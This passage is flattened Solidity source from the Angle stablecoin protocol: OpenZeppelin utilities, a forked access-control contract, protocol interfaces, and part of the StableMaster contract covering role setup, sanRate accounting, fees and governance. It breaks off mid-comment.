* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "../interfaces/IAccessControl.sol"; /** * @dev This contract is fully forked from OpenZeppelin `AccessControlUpgradeable`. * The only difference is the removal of the ERC165 implementation as it's not * needed in Angle. * * Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, IAccessControl { function __AccessControl_init() internal initializer { __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer {} struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, msg.sender); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external override { require(account == msg.sender, "71"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) internal { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes32 role, address account) internal { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IAccessControl /// @author Forked from OpenZeppelin /// @notice Interface for `AccessControl` contracts interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; /// @title IAgToken /// @author Angle Core Team /// @notice Interface for the stablecoins `AgToken` contracts /// @dev The only functions that are left in the interface are the functions which are used /// at another point in the protocol by a different contract interface IAgToken is IERC20Upgradeable { // ======================= `StableMaster` functions ============================ function mint(address account, uint256 amount) external; function burnFrom( uint256 amount, address burner, address sender ) external; function burnSelf(uint256 amount, address burner) external; // ========================= External function ================================= function stableMaster() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title ICollateralSettler /// @author Angle Core Team /// @notice Interface for the collateral settlement contracts interface ICollateralSettler { function triggerSettlement( uint256 _oracleValue, uint256 _sanRate, uint256 _stocksUsers ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IStableMaster.sol"; /// @title ICore /// @author Angle Core Team /// @dev Interface for the functions of the `Core` contract interface ICore { function revokeStableMaster(address stableMaster) external; function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address _guardian) external; function revokeGuardian() external; function governorList() external view returns (address[] memory); function stablecoinList() external view returns (address[] memory); function guardian() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; interface IERC721 is IERC165 { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IAccessControl.sol"; /// @title IFeeManagerFunctions /// @author Angle Core Team /// @dev Interface for the `FeeManager` contract interface IFeeManagerFunctions is IAccessControl { // ================================= Keepers =================================== function updateUsersSLP() external; function updateHA() external; // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, address _perpetualManager ) external; function setFees( uint256[] memory xArray, uint64[] memory yArray, uint8 typeChange ) external; function setHAFees(uint64 _haFeeDeposit, uint64 _haFeeWithdraw) external; } /// @title IFeeManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev We need these getters as they are used in other contracts of the protocol interface IFeeManager is IFeeManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title IOracle /// @author Angle Core Team /// @notice Interface for Angle's oracle contracts reading oracle rates from both UniswapV3 and Chainlink /// from just UniswapV3 or from just Chainlink interface IOracle { function read() external view returns (uint256); function readAll() external view returns (uint256 lowerRate, uint256 upperRate); function readLower() external view returns (uint256); function readUpper() external view returns (uint256); function readQuote(uint256 baseAmount) external view returns (uint256); function readQuoteLower(uint256 baseAmount) external view returns (uint256); function inBase() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IERC721.sol"; import "./IFeeManager.sol"; import "./IOracle.sol"; import "./IAccessControl.sol"; /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev Front interface, meaning only user-facing functions interface IPerpetualManagerFront is IERC721Metadata { function openPerpetual( address owner, uint256 amountBrought, uint256 amountCommitted, uint256 maxOracleRate, uint256 minNetMargin ) external returns (uint256 perpetualID); function closePerpetual( uint256 perpetualID, address to, uint256 minCashOutAmount ) external; function addToPerpetual(uint256 perpetualID, uint256 amount) external; function removeFromPerpetual( uint256 perpetualID, uint256 amount, address to ) external; function liquidatePerpetuals(uint256[] memory perpetualIDs) external; function forceClosePerpetuals(uint256[] memory perpetualIDs) external; // ========================= External View Functions ============================= function getCashOutAmount(uint256 perpetualID, uint256 rate) external view returns (uint256, uint256); function isApprovedOrOwner(address spender, uint256 perpetualID) external view returns (bool); } /// @title Interface of the contract managing perpetuals /// @author Angle Core Team /// @dev This interface does not contain user facing functions, it just has functions that are /// interacted with in other parts of the protocol interface IPerpetualManagerFunctions is IAccessControl { // ================================= Governance ================================ function deployCollateral( address[] memory governorList, address guardian, IFeeManager feeManager, IOracle oracle_ ) external; function setFeeManager(IFeeManager feeManager_) external; function setHAFees( uint64[] memory _xHAFees, uint64[] memory _yHAFees, uint8 deposit ) external; function setTargetAndLimitHAHedge(uint64 _targetHAHedge, uint64 _limitHAHedge) external; function setKeeperFeesLiquidationRatio(uint64 _keeperFeesLiquidationRatio) external; function setKeeperFeesCap(uint256 _keeperFeesLiquidationCap, uint256 _keeperFeesClosingCap) external; function setKeeperFeesClosing(uint64[] memory _xKeeperFeesClosing, uint64[] memory _yKeeperFeesClosing) external; function setLockTime(uint64 _lockTime) external; function setBoundsPerpetual(uint64 _maxLeverage, uint64 _maintenanceMargin) external; function pause() external; function unpause() external; // ==================================== Keepers ================================ function setFeeKeeper(uint64 feeDeposit, uint64 feesWithdraw) external; // =============================== StableMaster ================================ function setOracle(IOracle _oracle) external; } /// @title IPerpetualManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables interface IPerpetualManager is IPerpetualManagerFunctions { function poolManager() external view returns (address); function oracle() external view returns (address); function targetHAHedge() external view returns (uint64); function totalHedgeAmount() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./IFeeManager.sol"; import "./IPerpetualManager.sol"; import "./IOracle.sol"; // Struct for the parameters associated to a strategy interacting with a collateral `PoolManager` // contract struct StrategyParams { // Timestamp of last report made by this strategy // It is also used to check if a strategy has been initialized uint256 lastReport; // Total amount the strategy is expected to have uint256 totalStrategyDebt; // The share of the total assets in the `PoolManager` contract that the `strategy` can access to. uint256 debtRatio; } /// @title IPoolManagerFunctions /// @author Angle Core Team /// @notice Interface for the collateral poolManager contracts handling each one type of collateral for /// a given stablecoin /// @dev Only the functions used in other contracts of the protocol are left here interface IPoolManagerFunctions { // ============================ Constructor ==================================== function deployCollateral( address[] memory governorList, address guardian, IPerpetualManager _perpetualManager, IFeeManager feeManager, IOracle oracle ) external; // ============================ Yield Farming ================================== function creditAvailable() external view returns (uint256); function debtOutstanding() external view returns (uint256); function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external; // ============================ Governance ===================================== function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address _guardian, address guardian) external; function revokeGuardian(address guardian) external; function setFeeManager(IFeeManager _feeManager) external; // ============================= Getters ======================================= function getBalance() external view returns (uint256); function getTotalAsset() external view returns (uint256); } /// @title IPoolManager /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings /// @dev Used in other contracts of the protocol interface IPoolManager is IPoolManagerFunctions { function stableMaster() external view returns (address); function perpetualManager() external view returns (address); function token() external view returns (address); function feeManager() external view returns (address); function totalDebt() external view returns (uint256); function strategies(address _strategy) external view returns (StrategyParams memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; /// @title ISanToken /// @author Angle Core Team /// @notice Interface for Angle's `SanToken` contract that handles sanTokens, tokens that are given to SLPs /// contributing to a collateral for a given stablecoin interface ISanToken is IERC20Upgradeable { // ================================== StableMaster ============================= function mint(address account, uint256 amount) external; function burnFrom( uint256 amount, address burner, address sender ) external; function burnSelf(uint256 amount, address burner) external; function stableMaster() external view returns (address); function poolManager() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // Normally just importing `IPoolManager` should be sufficient, but for clarity here // we prefer to import all concerned interfaces import "./IPoolManager.sol"; import "./IOracle.sol"; import "./IPerpetualManager.sol"; import "./ISanToken.sol"; // Struct to handle all the parameters to manage the fees // related to a given collateral pool (associated to the stablecoin) struct MintBurnData { // Values of the thresholds to compute the minting fees // depending on HA hedge (scaled by `BASE_PARAMS`) uint64[] xFeeMint; // Values of the fees at thresholds (scaled by `BASE_PARAMS`) uint64[] yFeeMint; // Values of the thresholds to compute the burning fees // depending on HA hedge (scaled by `BASE_PARAMS`) uint64[] xFeeBurn; // Values of the fees at thresholds (scaled by `BASE_PARAMS`) uint64[] yFeeBurn; // Max proportion of collateral from users that can be covered by HAs // It is exactly the same as the parameter of the same name in `PerpetualManager`, whenever one is updated // the other changes accordingly uint64 targetHAHedge; // Minting fees correction set by the `FeeManager` contract: they are going to be multiplied // to the value of the fees computed using the hedge curve // Scaled by `BASE_PARAMS` uint64 bonusMalusMint; // Burning fees correction set by the `FeeManager` contract: they are going to be multiplied // to the value of the fees computed using the hedge curve // Scaled by `BASE_PARAMS` uint64 bonusMalusBurn; // Parameter used to limit the number of stablecoins that can be issued using the concerned collateral uint256 capOnStableMinted; } // Struct to handle all the variables and parameters to handle SLPs in the protocol // including the fraction of interests they receive or the fees to be distributed to // them struct SLPData { // Last timestamp at which the `sanRate` has been updated for SLPs uint256 lastBlockUpdated; // Fees accumulated from previous blocks and to be distributed to SLPs uint256 lockedInterests; // Max interests used to update the `sanRate` in a single block // Should be in collateral token base uint256 maxInterestsDistributed; // Amount of fees left aside for SLPs and that will be distributed // when the protocol is collateralized back again uint256 feesAside; // Part of the fees normally going to SLPs that is left aside // before the protocol is collateralized back again (depends on collateral ratio) // Updated by keepers and scaled by `BASE_PARAMS` uint64 slippageFee; // Portion of the fees from users minting and burning // that goes to SLPs (the rest goes to surplus) uint64 feesForSLPs; // Slippage factor that's applied to SLPs exiting (depends on collateral ratio) // If `slippage = BASE_PARAMS`, SLPs can get nothing, if `slippage = 0` they get their full claim // Updated by keepers and scaled by `BASE_PARAMS` uint64 slippage; // Portion of the interests from lending // that goes to SLPs (the rest goes to surplus) uint64 interestsForSLPs; } /// @title IStableMasterFunctions /// @author Angle Core Team /// @notice Interface for the `StableMaster` contract interface IStableMasterFunctions { function deploy( address[] memory _governorList, address _guardian, address _agToken ) external; // ============================== Lending ====================================== function accumulateInterest(uint256 gain) external; function signalLoss(uint256 loss) external; // ============================== HAs ========================================== function getStocksUsers() external view returns (uint256 maxCAmountInStable); function convertToSLP(uint256 amount, address user) external; // ============================== Keepers ====================================== function getCollateralRatio() external returns (uint256); function setFeeKeeper( uint64 feeMint, uint64 feeBurn, uint64 _slippage, uint64 _slippageFee ) external; // ============================== AgToken ====================================== function updateStocksUsers(uint256 amount, address poolManager) external; // ============================= Governance ==================================== function setCore(address newCore) external; function addGovernor(address _governor) external; function removeGovernor(address _governor) external; function setGuardian(address newGuardian, address oldGuardian) external; function revokeGuardian(address oldGuardian) external; function setCapOnStableAndMaxInterests( uint256 _capOnStableMinted, uint256 _maxInterestsDistributed, IPoolManager poolManager ) external; function setIncentivesForSLPs( uint64 _feesForSLPs, uint64 _interestsForSLPs, IPoolManager poolManager ) external; function setUserFees( IPoolManager poolManager, uint64[] memory _xFee, uint64[] memory _yFee, uint8 _mint ) external; function setTargetHAHedge(uint64 _targetHAHedge) external; function pause(bytes32 agent, IPoolManager poolManager) external; function unpause(bytes32 agent, IPoolManager poolManager) external; } /// @title IStableMaster /// @author Angle Core Team /// @notice Previous interface with additionnal getters for public variables and mappings interface IStableMaster is IStableMasterFunctions { function agToken() external view returns (address); function collateralMap(IPoolManager poolManager) external view returns ( IERC20 token, ISanToken sanToken, IPerpetualManager perpetualManager, IOracle oracle, uint256 stocksUsers, uint256 sanRate, uint256 collatBase, SLPData memory slpData, MintBurnData memory feeData ); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./StableMasterInternal.sol"; /// @title StableMaster /// @author Angle Core Team /// @notice `StableMaster` is the contract handling all the collateral types accepted for a given stablecoin /// It does all the accounting and is the point of entry in the protocol for stable holders and seekers as well as SLPs /// @dev This file contains the core functions of the `StableMaster` contract contract StableMaster is StableMasterInternal, IStableMasterFunctions, AccessControlUpgradeable { using SafeERC20 for IERC20; /// @notice Role for governors only bytes32 public constant GOVERNOR_ROLE = keccak256("GOVERNOR_ROLE"); /// @notice Role for guardians and governors bytes32 public constant GUARDIAN_ROLE = keccak256("GUARDIAN_ROLE"); /// @notice Role for `Core` only, used to propagate guardian and governors bytes32 public constant CORE_ROLE = keccak256("CORE_ROLE"); bytes32 public constant STABLE = keccak256("STABLE"); bytes32 public constant SLP = keccak256("SLP"); // ============================ DEPLOYER ======================================= /// @notice Creates the access control logic for the governor and guardian addresses /// @param governorList List of the governor addresses of the protocol /// @param guardian Guardian address of the protocol /// @param _agToken Reference to the `AgToken`, that is the ERC20 token handled by the `StableMaster` /// @dev This function is called by the `Core` when a stablecoin is deployed to maintain consistency /// across the governor and guardian roles /// @dev When this function is called by the `Core`, it has already been checked that the `stableMaster` /// corresponding to the `agToken` was this `stableMaster` function deploy( address[] memory governorList, address guardian, address _agToken ) external override onlyRole(CORE_ROLE) { for (uint256 i = 0; i < governorList.length; i++) { _grantRole(GOVERNOR_ROLE, governorList[i]); _grantRole(GUARDIAN_ROLE, governorList[i]); } _grantRole(GUARDIAN_ROLE, guardian); agToken = IAgToken(_agToken); // Since there is only one address that can be the `AgToken`, and since `AgToken` // is not to be admin of any role, we do not define any access control role for it } // ============================ STRATEGIES ===================================== /// @notice Takes into account the gains made while lending and distributes it to SLPs by updating the `sanRate` /// @param gain Interests accumulated from lending /// @dev This function is called by a `PoolManager` contract having some yield farming strategies associated /// @dev To prevent flash loans, the `sanRate` is not directly updated, it is updated at the blocks that follow function accumulateInterest(uint256 gain) external override { // Searching collateral data Collateral storage col = collateralMap[IPoolManager(msg.sender)]; _contractMapCheck(col); // A part of the gain goes to SLPs, the rest to the surplus of the protocol _updateSanRate((gain * col.slpData.interestsForSLPs) / BASE_PARAMS, col); } /// @notice Takes into account a loss made by a yield farming strategy /// @param loss Loss made by the yield farming strategy /// @dev This function is called by a `PoolManager` contract having some yield farming strategies associated /// @dev Fees are not accumulated for this function before being distributed: everything is directly used to /// update the `sanRate` function signalLoss(uint256 loss) external override { // Searching collateral data IPoolManager poolManager = IPoolManager(msg.sender); Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); uint256 sanMint = col.sanToken.totalSupply(); if (sanMint != 0) { // Updating the `sanRate` and the `lockedInterests` by taking into account a loss if (col.sanRate * sanMint + col.slpData.lockedInterests * BASE_TOKENS > loss * BASE_TOKENS) { // The loss is first taken from the `lockedInterests` uint256 withdrawFromLoss = col.slpData.lockedInterests; if (withdrawFromLoss >= loss) { withdrawFromLoss = loss; } col.slpData.lockedInterests -= withdrawFromLoss; col.sanRate -= ((loss - withdrawFromLoss) * BASE_TOKENS) / sanMint; } else { // Normally it should be set to 0, but this would imply that no SLP can enter afterwards // we therefore set it to 1 (equivalent to 10**(-18)) col.sanRate = 1; col.slpData.lockedInterests = 0; // As it is a critical time, governance pauses SLPs to solve the situation _pause(keccak256(abi.encodePacked(SLP, address(poolManager)))); } emit SanRateUpdated(address(col.token), col.sanRate); } } // ============================== HAs ========================================== /// @notice Transforms a HA position into a SLP Position /// @param amount The amount to transform /// @param user Address to mint sanTokens to /// @dev Can only be called by a `PerpetualManager` contract /// @dev This is typically useful when a HA wishes to cash out but there is not enough collateral /// in reserves function convertToSLP(uint256 amount, address user) external override { // Data about the `PerpetualManager` calling the function is fetched using the `contractMap` IPoolManager poolManager = _contractMap[msg.sender]; Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); // If SLPs are paused, in this situation, then this transaction should revert // In this extremely rare case, governance should take action and also pause HAs _whenNotPaused(SLP, address(poolManager)); _updateSanRate(0, col); col.sanToken.mint(user, (amount * BASE_TOKENS) / col.sanRate); } /// @notice Sets the proportion of `stocksUsers` available for perpetuals /// @param _targetHAHedge New value of the hedge ratio that the protocol wants to arrive to /// @dev Can only be called by the `PerpetualManager` function setTargetHAHedge(uint64 _targetHAHedge) external override { // Data about the `PerpetualManager` calling the function is fetched using the `contractMap` IPoolManager poolManager = _contractMap[msg.sender]; Collateral storage col = collateralMap[poolManager]; _contractMapCheck(col); col.feeData.targetHAHedge = _targetHAHedge; // No need to issue an event here, one has already been issued by the corresponding `PerpetualManager` } // ============================ VIEW FUNCTIONS ================================= /// @notice Transmits to the `PerpetualManager` the max amount of collateral (in stablecoin value) HAs can hedge /// @return _stocksUsers All stablecoins currently assigned to the pool of the caller /// @dev This function will not return something relevant if it is not called by a `PerpetualManager` function getStocksUsers() external view override returns (uint256 _stocksUsers) { _stocksUsers = collateralMap[_contractMap[msg.sender]].stocksUsers; } /// @notice Returns the collateral ratio for this stablecoin /// @dev The ratio returned is scaled by `BASE_PARAMS` since the value is used to /// in the `FeeManager` contrat to be compared with the values in `xArrays` expressed in `BASE_PARAMS` function getCollateralRatio() external view override returns (uint256) { uint256 mints = agToken.totalSupply(); if (mints == 0) { // If nothing has been minted, the collateral ratio is infinity return type(uint256).max; } uint256 val; for (uint256 i = 0; i < _managerList.length; i++) { // Oracle needs to be called for each collateral to compute the collateral ratio val += collateralMap[_managerList[i]].oracle.readQuote(_managerList[i].getTotalAsset()); } return (val * BASE_PARAMS) / mints; } // ============================== KEEPERS ====================================== /// @notice Updates all the fees not depending on personal agents inputs via a keeper calling the corresponding /// function in the `FeeManager` contract /// @param _bonusMalusMint New corrector of user mint fees for this collateral. These fees will correct /// the mint fees from users that just depend on the hedge curve by HAs by introducing other dependencies. /// In normal times they will be equal to `BASE_PARAMS` meaning fees will just depend on the hedge ratio /// @param _bonusMalusBurn New corrector of user burn fees, depending on collateral ratio /// @param _slippage New global slippage (the SLP fees from withdrawing) factor /// @param _slippageFee New global slippage fee (the non distributed accumulated fees) factor function setFeeKeeper( uint64 _bonusMalusMint, uint64 _bonusMalusBurn, uint64 _slippage, uint64 _slippageFee ) external override { // Fetching data about the `FeeManager` contract calling this function // It is stored in the `_contractMap` Collateral storage col = collateralMap[_contractMap[msg.sender]]; _contractMapCheck(col); col.feeData.bonusMalusMint = _bonusMalusMint; col.feeData.bonusMalusBurn = _bonusMalusBurn; col.slpData.slippage = _slippage; col.slpData.slippageFee = _slippageFee; // An event is already emitted in the `FeeManager` contract } // ============================== AgToken ====================================== /// @notice Allows the `agToken` contract to update the `stocksUsers` for a given collateral after a burn /// with no redeem /// @param amount Amount by which `stocksUsers` should decrease /// @param poolManager Reference to `PoolManager` for which `stocksUsers` needs to be updated /// @dev This function can be called by the `agToken` contract after a burn of agTokens for which no collateral has been /// redeemed function updateStocksUsers(uint256 amount, address poolManager) external override { require(msg.sender == address(agToken), "3"); Collateral storage col = collateralMap[IPoolManager(poolManager)]; _contractMapCheck(col); require(col.stocksUsers >= amount, "4"); col.stocksUsers -= amount; emit StocksUsersUpdated(address(col.token), col.stocksUsers); } // ================================= GOVERNANCE ================================ // =============================== Core Functions ============================== /// @notice Changes the `Core` contract /// @param newCore New core address /// @dev This function can only be called by the `Core` contract function setCore(address newCore) external override onlyRole(CORE_ROLE) { // Access control for this contract _revokeRole(CORE_ROLE, address(_core)); _grantRole(CORE_ROLE, newCore); _core = ICore(newCore); } /// @notice Adds a new governor address /// @param governor New governor address /// @dev This function propagates changes from `Core` to other contracts /// @dev Propagating changes like that allows to maintain the protocol's integrity function addGovernor(address governor) external override onlyRole(CORE_ROLE) { // Access control for this contract _grantRole(GOVERNOR_ROLE, governor); _grantRole(GUARDIAN_ROLE, governor); for (uint256 i = 0; i < _managerList.length; i++) { // The `PoolManager` will echo the changes across all the corresponding contracts _managerList[i].addGovernor(governor); } } /// @notice Removes a governor address which loses its role /// @param governor Governor address to remove /// @dev This function propagates changes from `Core` to other contracts /// @dev Propagating changes like that allows to maintain the protocol's integrity /// @dev It has already been checked in the `Core` that this address could be removed /// and that it would not put the protocol in a situation with no governor at all function removeGovernor(address governor) external override onlyRole(CORE_ROLE) { // Access control for this contract _revokeRole(GOVERNOR_ROLE, governor); _revokeRole(GUARDIAN_ROLE, governor); for (uint256 i = 0; i < _managerList.length; i++) { // The `PoolManager` will echo the changes across all the corresponding contracts _managerList[i].removeGovernor(governor); } } /// @notice 